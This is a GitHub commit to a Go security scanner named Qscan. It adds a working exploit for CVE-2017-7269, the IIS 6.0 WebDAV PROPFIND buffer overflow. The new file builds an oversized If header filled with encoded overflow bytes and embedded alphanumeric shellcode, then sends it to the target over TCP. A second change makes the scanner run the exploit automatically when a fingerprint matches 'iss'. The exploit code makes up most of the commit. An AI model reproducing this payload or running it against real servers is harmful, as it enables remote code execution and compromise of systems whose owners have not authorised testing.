Skip to content

Commit 8620c21

Browse files
committed
feat: add CVE-2017-7269
1 parent 75c5dd1 commit 8620c21

File tree

2 files changed

+82
-0
lines changed

2 files changed

+82
-0
lines changed

core/pocScan/pocGo/CVE-2017-7269.go

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
package pocGo
2+
3+
import (
4+
"Qscan/core/slog"
5+
"Qscan/lib/color"
6+
"bufio"
7+
"fmt"
8+
colorR "github.com/gookit/color"
9+
"net"
10+
"strconv"
11+
"strings"
12+
)
13+
14+
func generatePayload(port string) string {
15+
pay := "PROPFIND / HTTP/1.1\r\nHost: localhost:" + port + "\r\nContent-Length: 0\r\n"
16+
pay += "If: <http://localhost:" + port + "/aaaaaaa"
17+
pay += "\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
18+
pay += ">"
19+
pay += " (Not <locktoken:write1>) <http://localhost:" + port + "/bbbbbbb"
20+
pay += "\xe7\xa5\x88\xe6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xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
21+
shellcode := "VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJIOPKSKPKPTKLITKKQDKU0G0KPKPM00QQXI8KPM0M0K8KPKPKPM0QNTKKNU397N30WRJLMSSI7LNR72JPTKOXPZKQH0CR615NMNRP0NQNWNMOGP206NYKPOSRORN3D35RND4NMPTD9RP2ENZMPT4352XCDNOS8BTBMBLLMKZOSROBN441URNT4NMPL2ERNS7SDBHOJOBNVO0LMLJLMKZ0HOXOY0TO0OS260ENMNRP0NQOGNMOGOB06OIMP2345RCS3RET3D3M0KLK8SRM0KPM0C0SYK5NQWP2DDK0PNP4KQBLLTKQBMDDKD2MXLOGG0JO6NQKO6LOLQQSLKRNLMP7QXOLMM18G9RJRR2R74KQBLP4K0JOL4K0LN1RXK3PHKQHQ0Q4K29MPM19CTKQ9MH9SOJQ94KNTTKKQJ6P1KOFLY1XOLMKQXGNX9PD5KFM33MKHOKSMO42UJDPXTKB8O4KQIC1V4KLL0K4K0XMLKQXSTKKTTKKQJ0CYQ4O4MTQKQK1QR90Z0QKOYPQOQOQJ4KLRJKTM1MWKOWMCBR2OQZKPPSKOYEKPA"
22+
pay += shellcode
23+
pay += ">\r\n\r\n"
24+
return pay
25+
}
26+
27+
func sendPack(ip string, port int) bool {
28+
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", ip, port))
29+
if err != nil {
30+
fmt.Println("Error connecting:", err.Error())
31+
return false
32+
}
33+
defer conn.Close()
34+
35+
payload := generatePayload(fmt.Sprintf("%d", port))
36+
_, err = conn.Write([]byte(payload))
37+
if err != nil {
38+
fmt.Println("Error sending data:", err.Error())
39+
return false
40+
}
41+
42+
response, err := bufio.NewReader(conn).ReadString('\n')
43+
if err != nil {
44+
fmt.Println("Error reading data:", err.Error())
45+
return false
46+
}
47+
48+
fmt.Println("Received:", response)
49+
50+
if strings.Contains(response, "HHIT CVE-2017-7269 Success") {
51+
return true
52+
}
53+
54+
return false
55+
}
56+
57+
func Cve20177269(ip string, port int) {
58+
if sendPack(ip, port) {
59+
printStr := fmt.Sprintf("%-30v %-35v %s", ip+strconv.Itoa(port), colorR.BgRed.Render("PocSuccess"), color.StrRandomColor("存在 CVE-2017-7269"))
60+
slog.Println(slog.DATA, printStr)
61+
}
62+
}

run/run.go

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@ import (
44
"Qscan/app"
55
"Qscan/core/hydra"
66
"Qscan/core/pocScan"
7+
"Qscan/core/pocScan/pocGo"
78
"Qscan/core/scanner"
89
"Qscan/core/slog"
910
"Qscan/lib/color"
@@ -348,6 +349,25 @@ func outputHydraSuccess(addr net.IP, port int, protocol string, auth *hydra.Auth
348349
func outputNmapFinger(URL *url.URL, resp *gonmap.Response) {
349350
finger := resp.FingerPrint
350351
m := misc.ToMap(finger)
352+
353+
if app.Setting.Exploit == true {
354+
// GO编写的POC通过指纹来判断是否启用扫描
355+
for _, value := range m {
356+
// 对于iss的poc
357+
if strings.Contains(value, "iss") {
358+
parts := strings.Split(URL.Host, ":")
359+
ip := parts[0]
360+
port := parts[1]
361+
port1, err := strconv.Atoi(port)
362+
if err != nil {
363+
fmt.Printf("Error converting string to int: %s\n", err)
364+
return
365+
}
366+
pocGo.Cve20177269(ip, port1)
367+
}
368+
}
369+
}
370+
351371
m["Response"] = resp.Raw
352372
m["IP"] = URL.Hostname()
353373
m["Port"] = URL.Port()

0 commit comments

Comments
 (0)